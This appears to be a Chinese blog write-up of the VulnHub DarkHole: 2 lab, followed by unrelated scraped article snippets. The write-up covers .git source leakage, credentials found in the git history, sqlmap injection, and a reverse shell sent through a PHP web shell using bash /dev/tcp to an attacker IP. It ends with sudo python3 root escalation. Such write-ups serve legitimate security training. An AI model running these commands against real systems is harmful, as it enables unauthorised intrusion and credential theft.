VulnHub靶场渗透实战8-DarkHole: 2
靶场地址:DarkHole: 2 ~ VulnHub
Description
Back to the Top
Difficulty:Hard
This works better with VMware rather than VirtualBox
Hint: Don't waste your time For Brute-Force
网络模式的话,我喜欢用桥接,直接桥接。不多说了,开始吧。
一;信息收集。
1.发现IP。和端口服务。
发现同网段主机的方法。
arp-scan -l
masscan 192.168.1.1/24 -p 80


2.发现git源码,访问一下端口服务。

二:枚举漏洞。
1,找相关登录信息。下载git泄露源码。
wget递归下载所有文件
wget -r http://192.168.1.61/.git 这个方法没有完全的克隆下来。
这将创建一个名称为 IP 地址的目录。在目录中,它包含递归下载的文件,包括“.git”。

GitHacker 是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。
下载地址:GitHub - WangYihang/GitHacker: ️ A `.git` folder exploiting tool that is able to restore the entire Git repository, including stash, common branches, common tags.
这个也可:mirrors / WangYihang / GitHacker · GitCode
第一种下载源码的工具:GitHacker,
git clone https://github.com/wangyihang/githacker 把githacker下载下来。
python3 -m pip install -i https://pypi.org/simple/ GitHacker 安装工具
githacker --url http://192.168.1.61/.git/ --output-folder 111 把git泄露脚本重建输出到111文件夹
完整的copy下来了,nice!

第二种把git源码下载下来的方法: GitHub - arthaud/git-dumper: A tool to dump a git repository from a website
使用git-dumper(从网站转储git存储库的工具。)下载git_dumper.py工具。

2,把源码下载下来。把git_dumper.py赋权之后,创建一个文件夹存放转存下来的库,执行git_dumper.py文件,这里没有这个dulwich包,安装一下就好。
以下是直接命令下载,因为网络问题下载不了的话,可以直接下载到本机,然后copy到kali.
git clone https://github.com/arthaud/git-dumper.git
cd git-dumper
pip install -r requirements.txt
mkdir darkhole-2
python3 git_dumper.py http://192.168.1.61:80/.git/ darkhole-2
3.信息收集。
登录逻辑。看到 and id =1,做了防sql注入,那是不是代表登入进去之后就存在sql注入了。

数据库配置信息。数据库名字:darkhole_2

检查 git 日志时,我们会在同一个地方看到凭据。看到第2次更新时,login.php使用了默认凭证。
因此,我们将 HEAD 切换到该提交,并查看login.php,在这里我们就已经发现账号密码了。
邮箱账户:lush@admin.com,密码:321.
git log
git diff a4d900a8d85e8938d3601f3cef113ee293028e10

git checkout a4d900a

三;漏洞利用。
1.返回不一样,存在sql注入。


2;爆数据库。
1,把数据包保存,
vim sql.txt
sqlmap -r sql.txt --dbs --batch(id加*号)
sqlmap -r sql.txt -p id --random-agent --is-dba(判断权限为dba)


sqlmap -r sql.txt -D darkhole_2 --dump-all --batch(获取数据库)
sqlmap -u http://192.168.1.61/dashboard.php?id=1 --cookie "PHPSESSID=l7cpo2t7nvh9p18dhasf29t6ka" --dbs (不保存文件的话,可以用这种形式)

2.ssh账号秘密:jehad/fool.
sqlmap -r sql.txt -D darkhole_2 --dump-all --batch(对数据库进行爆破,爆破数据库的账号密码及表)
sqlmap -u http://192.168.1.61/dashboard.php?id=1 --cookie "PHPSESSID=l7cpo2t7nvh9p18dhasf29t6ka" -D darkhole_2 --tables(没保存文件用这种形式)

三;提权。
1;ssh登录成功。可直接进losy用户,第一个flag。


2;获取losy用户的shell.
获取到losy用户在本地9999端口开了php服务。
查看php服务文件发现提供了命令执行能力且在监听状态。
cat /etc/crontab 查看Linux的定时任务文件。
php -s是开启了一个网络服务器的意思
还发现一句话木马,往cmd里传参。

在历史命令记录中: wget 下载了一个 反弹shell,那我们也要来反弹shell,传shell到靶机上。然后 利用 127.0.0.1?cmd 来执行
curl "http://127.0.0.1:9999/?cmd=php%20/tmp/php-reverse-shell.php"

有个问题,我传shell这种方式,没有权限,转换不了交互式shell,脑壳疼。换种方式试一下。

3;把开放的服务端口转发到本地来访问,我直接url访问吧,
ssh jehad@192.168.1.61 -L 9999:localhost:9999 从外面访问9999端口,连接失败,就只能把靶机的9999端口转发到本地来访问
ssh -L 9999:127.0.0.1:9999 jehad@192.168.1.61
bash -c 'sh -i >& /dev/tcp/192.168.1.28/1234 0>&1' 构造kali监听,因为是get方式传参,所以url编码一下。
http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%2e%32%38%2f%31%32%33%34%20%30%3e%26%31%27
python3 -c 'import pty; pty.spawn("/bin/bash")' 交互式shell
获得losy用户的权限。history查看一下,losy用户的密码是:gang.


4;登录losy用户,利用python3提权。

5;提权成功,root权限下的第二个flag。
sudo python3 -c 'import os; os.system("/bin/bash")' 利用sudo执行python3系统环境获取交互式shell.

四;两个账户都有密码了,还有个lama账号。
1;爆破一下密码;lama/123

3;ssh登录lama账号。第二个flag。
sudo -l 一下,可执行所有权限。

sudo su 直接do一下,进root目录下

总结:
1;.git仓库的代码泄露,利用两种脚本把库里的源代码克隆到本机。
2;泄露的源码逻辑告诉我们以及登录之后的框存在sql注入,爆数据库,爆出ssh账号密码。
3;ssh本地端口转发,往一句话木马cmd里传参,url编码,卡莉url直接访问。(这里我还试了一种往靶机传shell的方式,能监听成功,但是仅限于shell,转换不了交互式shell。)
4;历史命令losy用户的密码,登录losy用户,利用sudo执行python3系统环境获取交互式shell。
5;提权的第二种方式,另外一个用户lama弱口令,可运行所有命令。直接sudo su 提权成功。
VulnHub靶场渗透实战8-DarkHole: 2的更多相关文章
- VulnHub靶场渗透之:Gigachad
环境搭建 VulnHub是一个丰富的实战靶场集合,里面有许多有趣的实战靶机. 本次靶机介绍: http://www.vulnhub.com/entry/gigachad-1,657/ 下载靶机ova文 ...
- Vulnhub靶场渗透练习(三) bulldog
拿到靶场后先对ip进行扫描 获取ip 和端口 针对项目路径爆破 获取两个有用文件 http://192.168.18.144/dev/ dev,admin 更具dev 发现他们用到框架和语言 找到一 ...
- Vulnhub靶场渗透练习(二) Billu_b0x
运行虚拟机直接上nmap扫描 获取靶场ip nmap 192.168.18.* 开放端口 TCP 22 SSH OpenSSH 5.9p1 TCP 80 HTTP Apache httpd 2.2.2 ...
- Vulnhub靶场渗透练习(一) Breach1.0
打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...
- Vulnhub靶场渗透练习(五) Lazysysadmin
第一步扫描ip nmap 192.168.18.* 获取ip 192.168.18.147 扫描端口 root@kali:~# masscan - --rate= Starting massc ...
- Vulnhub靶场渗透练习(四) Acid
利用namp 先进行扫描获取ip nmap 192.168.18.* 获取ip 没发现80端口 主机存活 猜测可以是个2000以后的端口 nmap -p1-65533 192.168.18.14 ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
随机推荐
- [报错]-NameError: name 'NAN' is not defined
部分数据输出为NaN,处理这部分异常数据使用isnan()函数 from math import isnan isnan(z) 参考: https://www.cnblogs.com/itdyb/p/ ...
- 数据卷Volume
数据卷概述 Kubernetes Volume(数据卷)主要解决了如下两方面问题: 数据持久性:通常情况下,容器运行起来之后,写入到其文件系统的文件暂时性的.当容器崩溃后,kubelet 将会重启该容 ...
- 创建Grafana Dashboard
输入表达式,获取数据 但是考虑到多台主机,需要添加变量来选择不同主机,从而出现相应的图表 点击右上角齿轮一样的图标,这个是设置 通过在prometheus界面查询可知,可以设置的变量有两个 考虑到这俩 ...
- 使用 Windows 包管理器 (winget) 安装 .Net
用户可以在 Windows 10 和 Windows 11 计算机上使用 winget 命令行工具来发现.安装.升级.删除和配置应用程序. 此工具是 Windows 程序包管理器服务的客户端接口. 以 ...
- Centos7下的基本操作
本系统是在centos7下最小化安装的 文件操作相关 创建文件夹mkdir name //创建一个文件夹 创建文本touch test.txt //创建文本 删除文件夹rm -rf 文件名 //删除文 ...
- 打造企业自己代码规范IDEA插件(中)
一些基本概念 在开始独立研发公司自己的代码规范检查规则之前,先介绍一些相关的基本概念.阿里巴巴代码规范很多规则其实都是基于开源框架PMD进行的研发.PMD用官方的话语介绍来说:PMD是一个源代码分析器 ...
- Java学生管理系统(详解)
相信大部分人都有接触过这个 Java 小项目--学生管理系统,下面会分享我在做这个项目时的一些方法以及程序代码供大家参考(最后附上完整的项目代码). 首本人只是个初学Java的小白,可能项目中有许多地 ...
- PhpStorm 2020.1.2破解 | JetBrains PhpStorm 2020.1.2破解版 附破解文件
直接去官网下载 2020.1.2的版本,版本一定要对得上 是2020.1.2版本 下面是破解的jar,几兆而已 --------------------- 链接:https://pan.baidu. ...
- JUI(6)线程池
文章目录 1.SynchronousQueue 2.线程池(重点) 2.1 使用单例 2.2.使用固定大小的线程 2.3.缓存线程池 2.4 七大参数 1.SynchronousQueue packa ...
- sql语法巧用之not取反
数据库的重要性和通用性都不用说了,什么sql的通用性,sql优化之类的也不必说了,咱们今天来聊聊另一个有意思的话题:如何取一个筛选的反面案例. 1. 举几个正反案例的例子 为了让大家理解我们的假设场景 ...